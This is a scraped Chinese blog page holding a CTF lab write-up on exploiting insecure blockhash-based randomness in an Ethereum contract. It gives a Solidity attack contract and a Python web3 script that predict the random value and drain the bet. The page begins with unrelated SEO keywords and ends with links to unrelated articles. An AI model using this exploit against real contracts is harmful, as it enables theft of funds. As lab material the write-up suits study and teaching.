教育网站建设网站搜索软件排行榜前十名

news/2025/10/6 6:14:33/文章来源:
教育网站建设网站,搜索软件排行榜前十名,wordpress写api接口,中国风 wordpress区块链安全 文章目录 区块链安全不安全的随机数实战二实验目的实验环境实验工具实验原理实验内容EXP利用 不安全的随机数实战二 实验目的 学会使用python3的web3模块 学会以太坊不安全的随机数漏洞分析及利用 实验环境 Ubuntu18.04操作机 实验工具 python3 实验原理 由…区块链安全 文章目录 区块链安全不安全的随机数实战二实验目的实验环境实验工具实验原理实验内容EXP利用 不安全的随机数实战二 实验目的 学会使用python3的web3模块 学会以太坊不安全的随机数漏洞分析及利用 实验环境 Ubuntu18.04操作机 实验工具 python3 实验原理 由于所有以太坊节点在验证交易时需要计算出相同的结果以达成共识因此 EVM 本身无法实现真随机数的功能。至于伪随机数其熵源也是只能是确定值。 EVM 有五个字节码可以获取当前区块的变量包括 coinbase、timestamp、number、difficulty、gaslimit。这些变量对矿工来说都是已知或者可操控的因此在私有链部署的题目中可以作为恶意的矿工控制随机数的结果。在公开的链如 Ropsten 上这个方法就不太可行但我们也可以编写攻击合约在攻击合约中获取到相同的区块变量值进一步用相同的算法得到随机数值。 实验内容 找到不安全的随机数漏洞并形成利用 使用python3的web3模块远程利用漏洞并获取flag 实验地址为nc ip 10004 获取合约地址和合约源代码 nc ip 10004连接到题目输入1获取部署合约的game account及token 打开http://ip输入上述分配的game account点击Request获取eth nc ip 10004连接到题目输入2获取部署合约的地址及new token nc ip 10004连接到题目输入4获取合约源代码或者在题目附件找到合约源代码 分析合约源代码漏洞 题目要求把flag设置为true分析合约代码需要使balanceOf[msg.sender]3000 漏洞主要在于EVM 有五个字节码可以获取当前区块的变量包括 coinbase、timestamp、number、difficulty、gaslimit虽然依靠这些变量可以生成随机数但生成的随机数是伪随机数本题目中只需要使用第三方合约与其交互随机数生成使用同样的算法即可因为第三方合约和其交互的交易会打包到同一区块中这样便可预测随机数。 EXP利用 编写第三方合约使用和题目相同的算法预测随机数将下述ETH4的地址换成自己题目合约的地址 contract hack {ETH4 target ETH4(0x1ef792186a9EdBd3366A5804D399924F4A98715f);function hack1() public {for(uint i0;i3;i){uint256 seed uint256(block.blockhash(block.number-1));uint rand seed % 10;target.bet(rand);}}function callsendflag() public {target.callsendflag();} }调用利用链是先调用hack1()然后调用callsendflag()即可 编写exp将这一过程自动化下述contract_address的地址换成自己题目合约的地址 from web3 import Web3, HTTPProvider from solcx import compile_source,set_solc_version_pragma import timew3 Web3(Web3.HTTPProvider(http://192.168.2.102:8545))contract_address 0xF05B4DAD63660aDaa2A23F4434fd5f30c24d7480 private 92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb public 0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480fdef generate_tx(chainID, to, data, value):txn {chainId: chainID,from: Web3.toChecksumAddress(public),to: to,gasPrice: w3.eth.gasPrice,gas: 3000000,nonce: w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),value: Web3.toWei(value, ether),data: data,}return txndef sign_and_send(txn):signed_txn w3.eth.account.signTransaction(txn, private)txn_hash w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt w3.eth.waitForTransactionReceipt(txn_hash)print(txn_hash, txn_hash)return txn_receiptset_solc_version_pragma(^0.4.23) with open(./attack.sol, r) as f:SRC_TEXT f.read() compiled_sol compile_source(SRC_TEXT) CONT_IF compiled_sol[stdin:hack]txn generate_tx(8888, , CONT_IF[bin], 0) txn_receipt sign_and_send(txn) hack_address txn_receipt[contractAddress] print(hack_address ,hack_address)time.sleep(5)# hack1() data Web3.keccak(texthack1()).hex()[:10] txn generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0) Hack sign_and_send(txn) print(Hack)time.sleep(5)# callsendflag() data Web3.keccak(textcallsendflag()).hex()[:10] txn generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0) Hack sign_and_send(txn) print(Hack)打开命令行执行以下命令切换solc版本 6 运行exp nc ip 10004连接到题目输入3输入之前的new token获取flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/929029.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

柳州企业网站开发平台推广营销企业

前言 JDK 升级对于 Java 应用来说是不得不面对的事情,一方面 Java 生态系统希望 Java 应用能跟上最新 JDK 版本: Oracle 建议将 JDK 的 LTS 版本的发布周期从 3 年调整为 2 年,对于只使用 LTS 版本的应用来说,可以在更短时间内使用最新的技术&#xff…

新手搭建做网站做图兼职网站有哪些

系列文章 一、逆向工程 Sketchup 逆向工程(一)破解.skp文件数据结构 Sketchup 逆向工程(二)分析三维模型数据结构 Sketchup 逆向工程(三)软件逆向工程从何处入手 Sketchup 逆向工程(四&#xf…

营销型网站方案书从事网站开发学什么专业

近几年随着互联网科技的不断创新,扭蛋机又再一次进入到了大众的目光中,各种全新的“互联网扭蛋机”模式为大众打造了一个全新的扭蛋体验,市场规模也在不断扩大,为扭蛋机商家和创业者提供了巨大的发展空间。本文将介绍“互联网扭蛋…

哪个网站做马代路线好外贸拓客软件

什么是九宫飞星?如何看九宫飞星?如果您能配合老黄历的每日忌宜、时辰忌宜、时辰吉凶、五行旺衰、今日卦象、三煞七煞等资料综合应用,那么您就可以随时随地趋吉避凶、心想事成了。九星即为一白、二黑、三碧、四绿、五黄、六白、七赤、八白及九…

在AI技术快速实现创意的时代,挖掘游戏开发框架新需求成为关键

本文分析了一款基于JavaScript的经典游戏主机开发环境,详细介绍了其核心功能、应用场景和使用方法,并基于用户反馈总结了潜在的功能改进需求,为开发者提供参考。内容描述核心功能定位:该项目是一个专为经典游戏主机…

iNaturalist开放自然数据与计算机视觉挑战

iNaturalist平台通过结合社区观察与机器学习技术,构建了包含数百万张自然物种图像的数据集。该文探讨了计算机视觉在细粒度物种识别中的技术挑战,包括数据清洗、长尾分布处理及自监督学习应用,并介绍了基于AWS开放数…

公司网站建设的基本流程wordpress做文字站

ref 被用来给DOM元素或子组件注册引用信息。引用信息会根据父组件的 $refs 对象进行注册。如果在普通的DOM元素上使用,引用信息就是元素; 如果用在子组件上,引用信息就是组件实例 注意:只要想要在Vue中直接操作DOM元素,就必须用r…

建网站做商城个体户资质可以电子商务网站建设与管理期末答案

一、什么是幂等性 幂等是一个数学与计算机学概念,在数学中某一元运算为幂等时,其作用在任一元素两次后会和其作用一次的结果相同。 在计算机中编程中,一个幂等操作的特点是其任意多次执行所产生的影响均与一次执行的影响相同。幂等函数或幂等…

丹阳网站建设要多少钱广告网站推荐

从零开始的目标检测和关键点检测(三):训练一个Glue的RTMPose模型 一、重写config文件二、开始训练三、ncnn部署 从零开始的目标检测和关键点检测(一):用labelme标注数据集 从零开始的目标检测和关键点检测…

网站建设用哪种语言最好免费博客网站

近年来,随着企业对云服务的依赖不断增加,SD-WAN技术成为提升连接性能的热门选择。SD-WAN通过简化云集成和连接,以及提升应用程序性能,为企业带来显著的业务优势。这种云连接的改进使企业能够更轻松地接触全球劳动力和潜在客户。 首…

户外旅游网站模板wordpress主题 小工具

题目描述: 给定一个包含 n 个整数的数组 nums,判断 nums 中是否存在三个元素 a ,b ,c ,使得 a b c 0 ?请找出所有和为 0 且 不重复 的三元组。 示例 1: 输入:nums [-1,0,1,2,-…

公司注册网站官网中国国家培训网

Qt 不是凭空产生的,它是基于现有工具链打造而成的,它所使用的编译器、链接器、调试器等都不是自己的,Qt 官方只是开发了上层工具。下面我们分几个部分讲解 Qt 使用到的工具链。 GNU 工具集 在上个世纪八十年代,计算机都是奢侈品…

门户网站建设管理工作网站代运营服务公司

在 Python 中,类属性和实例属性是两种不同类型的属性,它们在用途和作用域上有所不同。下面是关于它们的区别的详细解释: 定义位置: 类属性:定义在类的主体中,但在任何类方法之外。实例属性:通常…

网站建设公司营业执照图片国内卖到国外的电商平台

今天研究一下LRU算法,上学期学数据结构的时候就应该学一下这个算法,不过后面操作系统也会讲到LRU算法 题目 LRU缓存leetocde146 LRU(Least Recently Used,最近最少使用)算法是一种常见的缓存替换算法,通…

深圳网站设计服有哪些网站设计比较好的公司

目录 1.grep 2.sed 3.awk 1.grep grep 擅长过滤查找,按行进行过滤 例: 当有用户对我们的主机进行爆破攻击时,我们可以使用grep将 ip 查找出来,进行封锁等处理 在 /var/log 目录下的 secure 文件中存放在用户登录连接信息&am…

政务网站队伍建设情况开发区邮编

1. 功能说明 本文示例将实现R023样机小型双轮差速底盘跟随人移动的功能。在小型双轮差速底盘前方按下图所示安装3个 近红外传感器,制作一个红外线发射源,实现当红外发射源在机器人的检测范围内任意放置或移动时,机器人能追踪该发射源。 2. 电…

营销型网站的运营配套不包括免费发布网站

预约小程序,让生活更便捷——轻松掌握未来,一键预约新体验 在快节奏的现代生活中,我们总是在不断地奔波,为了工作、为了生活,不停地忙碌着。然而,在这繁忙的生活中,我们是否曾想过如何更加高效…

网站开发不让搜索引擎网站建设公司 校园网站

明天又要去参加一次面试。每次面试的时候,面试官都会在最后给面试者一些时间,来问问题。这是个非常好的机会,能按照自己的思路,来了解职位、技术、企业文化、福利待遇、企业状况和前景等情况,以弥补前面面试过程中没有…

北京市住房与城乡建设网站百度收录WordPress文章

一个Flutter&Cocoapods项目打包问题集锦 问题1 github加速问题 cocoapods项目需要访问https://github.com/CocoaPods/Specs.git,众所周知,github经常被墙,导致经常需要借助加速来下载和访问,这里可以使用油猴脚本或者Fastgi…

自己做网站的服务器深圳哪家做网站比较好

目录前言:1、MapReduce原理2、mapreduce实践(WordCount实例) 目录 今天先总体说下MapReduce的相关知识,后续将会详细说明对应的shuffle、mr与yarn的联系、以及mr的join操作的等知识。以下内容全是个人学习后的见解,如…